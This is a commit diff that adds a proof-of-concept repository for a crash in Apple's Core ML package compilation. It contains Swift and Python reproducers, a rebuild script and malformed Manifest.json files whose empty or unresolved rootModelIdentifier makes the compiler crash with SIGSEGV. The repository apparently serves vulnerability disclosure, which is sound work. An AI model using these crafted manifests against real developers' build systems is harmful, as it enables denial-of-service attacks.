Add Core ML rootModelIdentifier crash PoC (seed + manifests + rebuild script)

CoreMLCompileOne.swift

@@ -0,0 +1,21 @@
+import CoreML
+import Foundation
+
+guard CommandLine.arguments.count == 2 else {
+    print("usage: CoreMLCompileOne <path-to-mlpackage-or-mlmodel>")
+    exit(2)
+}
+
+let package = URL(fileURLWithPath: CommandLine.arguments[1])
+
+do {
+    let compiled = try MLModel.compileModel(at: package)
+    print("COMPILE_OK")
+    print("COMPILED_PATH=\(compiled.path)")
+    let model = try MLModel(contentsOf: compiled)
+    print("LOAD_OK")
+    print("INPUTS=\(Array(model.modelDescription.inputDescriptionsByName.keys).sorted().joined(separator: ","))")
+} catch {
+    print("CONTROLLED_ERROR")
+    print(String(describing: error))
+}

CoreMLPyObjCCompileOne.py

@@ -0,0 +1,17 @@
+import sys
+
+from Foundation import NSURL
+import CoreML
+
+
+if len(sys.argv) != 2:
+    print("usage: CoreMLPyObjCCompileOne.py <path-to-mlpackage-or-mlmodel>")
+    sys.exit(2)
+
+url = NSURL.fileURLWithPath_(sys.argv[1])
+
+try:
+    result = CoreML.MLModel.compileModelAtURL_error_(url, None)
+    print("COMPILE_RETURN", repr(result)[:800])
+except BaseException as exc:
+    print("CONTROLLED_EXCEPTION", type(exc).__name__, str(exc)[:800])

README.md

@@ -1,3 +1,96 @@
----
-license: mit
----
+# Core ML .mlpackage rootModelIdentifier crash PoC
+
+Proof-of-concept for a deterministic **NULL-pointer-dereference crash (DoS)** in
+Apple's Core ML model-package compilation path, triggered by a malformed
+`.mlpackage` whose `Manifest.json` contains a **present but empty or unresolved
+`rootModelIdentifier`**.
+
+This PoC is harmless: it contains only a benign public model and malformed
+manifest metadata. It does **not** execute code, read files, or escape any
+sandbox.
+
+## The bug (one sentence)
+
+When `rootModelIdentifier` is **absent**, Core ML returns a controlled error
+(`Failed to look up root model`); when it is **present but resolves to no
+`itemInfoEntries` item** (empty string, or a UUID not in the package), Core ML
+dereferences a null pointer and the caller process crashes with `SIGSEGV` /
+exit `139`. Inconsistent validation, not by design.
+
+Affected callers (all crash on the same package): `MLModel.compileModel(at:)`
+(Swift), `CoreML.MLModel.compileModelAtURL_error_` (Python/PyObjC),
+`xcrun coremlcompiler compile` (CLI), and `xcodebuild` via its built-in
+`coremlc generate` build rule.
+
+## Repository layout
+
+```
+seed.mlpackage.zip               # one valid Core ML package (shared model + weights), zipped
+manifest-baseline.json           # the 5 Manifest.json variants (the ONLY thing that differs)
+manifest-root_id_missing.json
+manifest-root_id_empty.json
+manifest-root_key_absent.json
+manifest-root_points_to_weights.json
+build_variants.sh                # unpacks the seed and rebuilds the 5 byte-identical fixtures
+CoreMLCompileOne.swift           # minimal Swift reproducer
+CoreMLPyObjCCompileOne.py        # minimal Python/PyObjC reproducer
+provenance-source-url.txt        # upstream seed model provenance (MIT)
+provenance-upstream-Sudoku-Solver-Pro-9x9-README.md
+SHA256SUMS
+```
+
+The model file and weights are identical across all five variants, so they are
+shipped once as `seed.mlpackage.zip`. Each variant is that seed with its
+`Manifest.json` swapped — `build_variants.sh` reconstructs all five
+**byte-identically** to the packages used in the report.
+
+## Reproduce (macOS with Xcode / Core ML)
+
+```bash
+# 1. Reconstruct the 5 fixtures (seed + per-variant Manifest.json)
+bash build_variants.sh                       # -> ./models/<variant>.mlpackage
+
+# 2. Build the minimal reproducer and run every variant
+swiftc CoreMLCompileOne.swift -o /tmp/coreml-compile-one
+for v in baseline root_id_missing root_id_empty root_key_absent root_points_to_weights; do
+  /tmp/coreml-compile-one "models/$v.mlpackage"; echo "$v -> exit $?"
+done
+```
+
+### Expected result (the differential)
+
+| Variant | Manifest.json change | Result | Exit |
+|---|---|---|---|
+| `baseline` | none (valid) | compiles + loads | `0` |
+| `root_id_missing` | `rootModelIdentifier` = UUID not in `itemInfoEntries` | **SIGSEGV** | `139` |
+| `root_id_empty` | `rootModelIdentifier` = `""` | **SIGSEGV** | `139` |
+| `root_key_absent` | `rootModelIdentifier` key removed | controlled error | `0` |
+| `root_points_to_weights` | `rootModelIdentifier` = weights item UUID | controlled error | `0` |
+
+The `root_key_absent` control proves Core ML already has a safe rejection path
+for a missing root model; only the present-but-unresolved states crash.
+
+Alternative (Python, no Swift): `python3 CoreMLPyObjCCompileOne.py models/<variant>.mlpackage`
+(requires `pip install pyobjc-framework-CoreML`).
+
+## Open-source correlation
+
+The same inconsistency is visible in `apple/coremltools`
+(`modelpackage/src/ModelPackage.cpp`, `getRootModel()` throws on absent key but
+returns an unchecked `nullptr` for a present-but-unresolved key). In pure
+open-source `coremltools` (Python) this null surfaces as a controlled
+`AttributeError`; the native `SIGSEGV` is in Apple's compiled Core ML consumer.
+
+## Non-claims
+
+This PoC does **not** demonstrate code execution, memory corruption beyond a
+NULL dereference, file disclosure, path traversal, symlink local-file access,
+scanner bypass, or remote/no-user exploitation. The claim is a narrow crash-only
+availability issue (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 5.5 Medium)
+in workflows that compile third-party Core ML packages.
+
+## Provenance
+
+The seed model is the public, MIT-licensed Hugging Face model
+`certen/Sudoku-Solver-Pro-9x9` (`SudoGPT9x9.mlpackage.zip`); see `provenance-source-url.txt`.
+Only `Manifest.json` was mutated to create the PoC variants.

SHA256SUMS

@@ -0,0 +1,12 @@
+8e85b52f4b9da4b99cd00d028e489ffccb61a966eceec1187a56f40cdc57b887  build_variants.sh
+ae1a52a08ef42db3d56e99e1f524665c9daffc525aed55da184576ec63219dd2  CoreMLCompileOne.swift
+9c9f33c99958dde1f9589d682b124dc277d0ddec60aded2b69e1134309536194  CoreMLPyObjCCompileOne.py
+08df771595bf8e1a708ee4789e519034d9285c0c8676388f13a12bba85e3306d  manifest-baseline.json
+b55f68929b1427a8a6590b855e124b90c20ec13d69cd9cffd8393bed569de73f  manifest-root_id_empty.json
+09aa9ae011e29dd25ed0968b1adbd11564a5f36b30d1b04867de0b146a3f115b  manifest-root_id_missing.json
+a532357a428c2138ae5230cc5c0333238706def5d3b6193d7c7f0bf9cc1e0140  manifest-root_key_absent.json
+864c2607c5da702242cf0d4c4ba79405577d5480c16b3cd545894913b8b09005  manifest-root_points_to_weights.json
+d55791e83d79527ae3cafd39184a6e28ea325b6d814386816daaf88f60bd05e5  provenance-source-url.txt
+25ee4721f9236c5e40612a3e43582c9d281504fac6a4a1cf2d818f733401aab1  provenance-upstream-Sudoku-Solver-Pro-9x9-README.md
+bbc126a9da641894daf44b55ee33e58804e428fd2fd872f6ad37e5b902a87b5f  README.md
+1efd7970e0a35676b5488e165a30822ab2b3bfac55178fe66781022058f66e00  seed.mlpackage.zip

build_variants.sh

@@ -0,0 +1,29 @@
+#!/usr/bin/env bash
+# Reconstruct the 5 byte-identical Core ML .mlpackage fixtures from one shared
+# seed plus per-variant Manifest.json files.
+#
+# The ONLY difference between the variants is Manifest.json (specifically the
+# rootModelIdentifier value). model.mlmodel and the weights are identical across
+# all five variants, so they are shipped once as seed.mlpackage.zip instead of
+# being duplicated 5x. This script unpacks the seed and rebuilds the exact same
+# packages used in the report (verified byte-identical).
+set -euo pipefail
+HERE="$(cd "$(dirname "$0")" && pwd)"
+OUT="${1:-$HERE/models}"
+mkdir -p "$OUT"
+
+# Unpack the shared seed once into the output area (keeps the repo itself clean).
+SEEDROOT="$OUT/_seed"
+if [ ! -d "$SEEDROOT/seed.mlpackage" ]; then
+  rm -rf "$SEEDROOT"
+  mkdir -p "$SEEDROOT"
+  unzip -q "$HERE/seed.mlpackage.zip" -d "$SEEDROOT"
+fi
+SEED="$SEEDROOT/seed.mlpackage"
+
+for v in baseline root_id_missing root_id_empty root_key_absent root_points_to_weights; do
+  rm -rf "$OUT/$v.mlpackage"
+  cp -R "$SEED" "$OUT/$v.mlpackage"
+  cp "$HERE/manifest-$v.json" "$OUT/$v.mlpackage/Manifest.json"
+done
+echo "Reconstructed 5 .mlpackage fixtures in: $OUT"

manifest-baseline.json

@@ -0,0 +1,18 @@
+{
+    "fileFormatVersion": "1.0.0",
+    "itemInfoEntries": {
+        "193E8D46-613D-46B4-96FD-743532FFFC43": {
+            "author": "com.apple.CoreML",
+            "description": "CoreML Model Specification",
+            "name": "model.mlmodel",
+            "path": "com.apple.CoreML/model.mlmodel"
+        },
+        "562AF752-ED74-46E6-82E5-DE143F229451": {
+            "author": "com.apple.CoreML",
+            "description": "CoreML Model Weights",
+            "name": "weights",
+            "path": "com.apple.CoreML/weights"
+        }
+    },
+    "rootModelIdentifier": "193E8D46-613D-46B4-96FD-743532FFFC43"
+}

manifest-root_id_empty.json

@@ -0,0 +1,18 @@
+{
+  "fileFormatVersion": "1.0.0",
+  "itemInfoEntries": {
+    "193E8D46-613D-46B4-96FD-743532FFFC43": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Specification",
+      "name": "model.mlmodel",
+      "path": "com.apple.CoreML/model.mlmodel"
+    },
+    "562AF752-ED74-46E6-82E5-DE143F229451": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Weights",
+      "name": "weights",
+      "path": "com.apple.CoreML/weights"
+    }
+  },
+  "rootModelIdentifier": ""
+}

manifest-root_id_missing.json

@@ -0,0 +1,18 @@
+{
+  "fileFormatVersion": "1.0.0",
+  "itemInfoEntries": {
+    "193E8D46-613D-46B4-96FD-743532FFFC43": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Specification",
+      "name": "model.mlmodel",
+      "path": "com.apple.CoreML/model.mlmodel"
+    },
+    "562AF752-ED74-46E6-82E5-DE143F229451": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Weights",
+      "name": "weights",
+      "path": "com.apple.CoreML/weights"
+    }
+  },
+  "rootModelIdentifier": "00000000-0000-0000-0000-000000000000"
+}

manifest-root_key_absent.json

@@ -0,0 +1,17 @@
+{
+  "fileFormatVersion": "1.0.0",
+  "itemInfoEntries": {
+    "193E8D46-613D-46B4-96FD-743532FFFC43": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Specification",
+      "name": "model.mlmodel",
+      "path": "com.apple.CoreML/model.mlmodel"
+    },
+    "562AF752-ED74-46E6-82E5-DE143F229451": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Weights",
+      "name": "weights",
+      "path": "com.apple.CoreML/weights"
+    }
+  }
+}

manifest-root_points_to_weights.json

@@ -0,0 +1,18 @@
+{
+  "fileFormatVersion": "1.0.0",
+  "itemInfoEntries": {
+    "193E8D46-613D-46B4-96FD-743532FFFC43": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Specification",
+      "name": "model.mlmodel",
+      "path": "com.apple.CoreML/model.mlmodel"
+    },
+    "562AF752-ED74-46E6-82E5-DE143F229451": {
+      "author": "com.apple.CoreML",
+      "description": "CoreML Model Weights",
+      "name": "weights",
+      "path": "com.apple.CoreML/weights"
+    }
+  },
+  "rootModelIdentifier": "562AF752-ED74-46E6-82E5-DE143F229451"
+}

provenance-source-url.txt

@@ -0,0 +1,11 @@
+Source model repository:
+https://huggingface.co/certen/Sudoku-Solver-Pro-9x9
+
+Downloaded file:
+https://huggingface.co/certen/Sudoku-Solver-Pro-9x9/resolve/main/SudoGPT9x9.mlpackage.zip
+
+License from model card/API:
+MIT
+
+Downloaded for local BB Factory staging on:
+2026-06-19

provenance-upstream-Sudoku-Solver-Pro-9x9-README.md

@@ -0,0 +1,72 @@
+---
+license: mit
+library_name: coreml
+tags:
+- sudoku
+- transformer
+- puzzle-solver
+- ios
+- coreml
+metrics:
+- accuracy
+---
+
+# Sudoku Solver Pro (9x9)
+
+A powerful transformer-based Sudoku solver designed for high-performance inference on Apple Silicon (via Core ML) and PyTorch. This is the **Pro** version of the SudoGPT architecture, featuring a deeper 6-layer transformer.
+
+## Model Details
+
+- **Architecture**: 6-layer Transformer Encoder
+- **Embedding Dimension**: 256
+- **Attention Heads**: 8
+- **Parameters**: 4.77 Million
+- **Checkpoints**: Included PyTorch (`.pt`) and Compiled Core ML (`.mlmodelc`)
+
+## Performance (Current)
+
+*Evaluated at 170,000 training steps:*
+
+- **Solve Rate (AI-Only)**: 10.5%
+- **Cell Blank Accuracy**: 85.8%
+- **Inference Time (MPS)**: ~1-5ms
+
+
+## Files in this Repository
+
+- `SudoGPT9x9_Pro_Standalone.pt`: Standalone TorchScript model.  This can be loaded by pyTorch
+- `NeuralSudoku9x9.mlmodelc`: Compiled Core ML model for direct use in iOS/macOS apps.
+- `SudoGPT9x9.mlpackage`: Core ML Model Package for Editing in Xcode.
+
+## Usage
+
+### PyTorch (Standalone)
+
+```python
+import torch
+
+# Load model (No original source code required)
+model = torch.jit.load("SudoGPT9x9_Pro_Standalone.pt")
+model.eval()
+
+# Inference
+# input_tensor: [1, 81] int tensor of Sudoku cells (0-9)
+with torch.no_grad():
+    logits = model(input_tensor)
+    predictions = torch.argmax(logits, dim=-1) + 1
+```
+
+### Core ML (Swift)
+
+```swift
+import CoreML
+
+let config = MLModelConfiguration()
+let solver = try NeuralSudoku9x9(configuration: config)
+```
+
+## Dataset Info
+This model was trained on millions of synthetic Sudoku puzzles using geometric transformations of seed boards to ensure high variety and validity.
+
+## License
+MIT

seed.mlpackage.zip

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:1efd7970e0a35676b5488e165a30822ab2b3bfac55178fe66781022058f66e00
+size 8834898